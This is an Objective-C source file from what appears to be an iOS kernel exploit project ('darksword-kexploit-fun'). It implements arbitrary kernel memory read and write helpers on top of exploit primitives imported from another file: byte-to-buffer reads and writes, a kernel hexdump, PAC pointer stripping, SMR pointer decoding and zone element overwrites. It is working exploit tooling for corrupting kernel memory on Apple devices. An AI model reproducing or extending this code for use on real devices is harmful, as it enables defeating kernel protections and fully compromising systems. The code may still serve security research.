//
//  krw.m
//  darksword-kexploit-fun
//
//  Created by seo on 3/24/26.
//
#import "krw.h"
#import "kexploit_opa334.h"
#import <stdint.h>
#import <stdlib.h>
#import <unistd.h>
#import <string.h>
#import <stdbool.h>
#import "xpaci.h"
#import "offsets.h"

extern bool gIsPACSupported;

bool is_kaddr_valid(uint64_t addr) {
    if ((addr & 0xfffff00000000000) != 0xfffff00000000000) {
        return false;
    }
    return true;
}

uint16_t kread16(uint64_t kaddr)
{
    return (uint16_t)(early_kread64(kaddr) & 0xFFFF);
}

uint32_t kread32(uint64_t kaddr)
{
    return (uint32_t)(early_kread64(kaddr) & 0xFFFFFFFF);
}

uint64_t kread64(uint64_t kaddr)
{
    return early_kread64(kaddr);
}

void kwrite8(uint64_t kaddr, uint8_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val);
}

void kwrite16(uint64_t kaddr, uint16_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFF0000ULL) | (uint64_t)val);
}

void kwrite32(uint64_t kaddr, uint32_t val)
{
    uint64_t what = early_kread64(kaddr);
    early_kwrite64(kaddr, (what & 0xFFFFFFFF00000000ULL) | (uint64_t)val);
}

void kwrite64(uint64_t kaddr, uint64_t val)
{
    early_kwrite64(kaddr, val);
}

uint8_t kread8(uint64_t addr) {
    uint32_t low = kread32(addr);
    return (uint8_t)(low & 0xFF);
}

void kreadbuf(uint64_t addr, void *buf, uint64_t len) {
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy((uint8_t *)buf + off, &val, chunk);
    }
}

void kwritebuf(uint64_t addr, const void *buf, uint64_t len)
{
    for (size_t off = 0; off < len; off += 8) {
        uint64_t val = 0;
        size_t chunk = (len - off >= 8) ? 8 : (len - off);
        memcpy(&val, (const uint8_t *)buf + off, chunk);
        if (chunk == 8) {
            early_kwrite64(addr + off, val);
        } else {
            uint64_t original = early_kread64(addr + off);
            uint64_t mask = (1ULL << (chunk * 8)) - 1;
            early_kwrite64(addr + off, (original & ~mask) | (val & mask));
        }
    }
}

void khexdump(uint64_t addr, size_t size) {
    void *data = malloc(size);
    
    for (size_t off = 0; off < size; off += 8) {
        uint64_t val = early_kread64(addr + off);
        size_t chunk = (size - off >= 8) ? 8 : (size - off);
        memcpy((uint8_t *)data + off, &val, chunk);
    }
    
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        if ((i % 16) == 0)
        {
            printf("[0x%016llx+0x%03zx] ", addr, i);
        }
        
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
    free(data);
}

uint64_t kread_ptr(uint64_t va)
{
    return xpaci(kread64(va));
}

uint64_t kread_smrptr(uint64_t va)
{
    uint64_t value = kread_ptr(va);

    uint64_t bits = (smr_base << (62-t1sz_boot));
    
    if((value & bits) == 0) {
        return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits);
    }
    return (value & 0xFFFFFFFFFFFFFFE0);
}

void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len)
{
    if (len < EARLY_KRW_LENGTH) {
        printf("[%s:%d] kwrite_zone_element: len < 0x20 not supported\n",
               __FUNCTION__, __LINE__);
        return;
    }

    uint8_t tmpBuf[EARLY_KRW_LENGTH];
    uint64_t remaining = len;
    uint64_t offset = 0;

    while (remaining != 0) {
        uint64_t writeSize = (remaining >= EARLY_KRW_LENGTH)
                             ? EARLY_KRW_LENGTH
                             : (remaining % EARLY_KRW_LENGTH);

        uint64_t writeDst = dst + offset;
        uint64_t srcOff   = offset;

        if (writeSize != EARLY_KRW_LENGTH) {
            // Last fragment < 0x20: Shift start address backward
            // to keep the 0x20-byte block within the zone boundary.
            uint64_t adjust = EARLY_KRW_LENGTH - writeSize;
            writeDst -= adjust;
            srcOff   -= adjust;

            // Read existing data from the shifted region (read-modify-write)
            kreadbuf(writeDst, tmpBuf, EARLY_KRW_LENGTH);
            // Overwrite only the specific portion to be modified
            memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize);
            early_kwrite32bytes(writeDst, tmpBuf);
        } else {
            early_kwrite32bytes(writeDst, (const uint8_t *)src + srcOff);
        }

        remaining -= writeSize;
        offset    += writeSize;
    }
}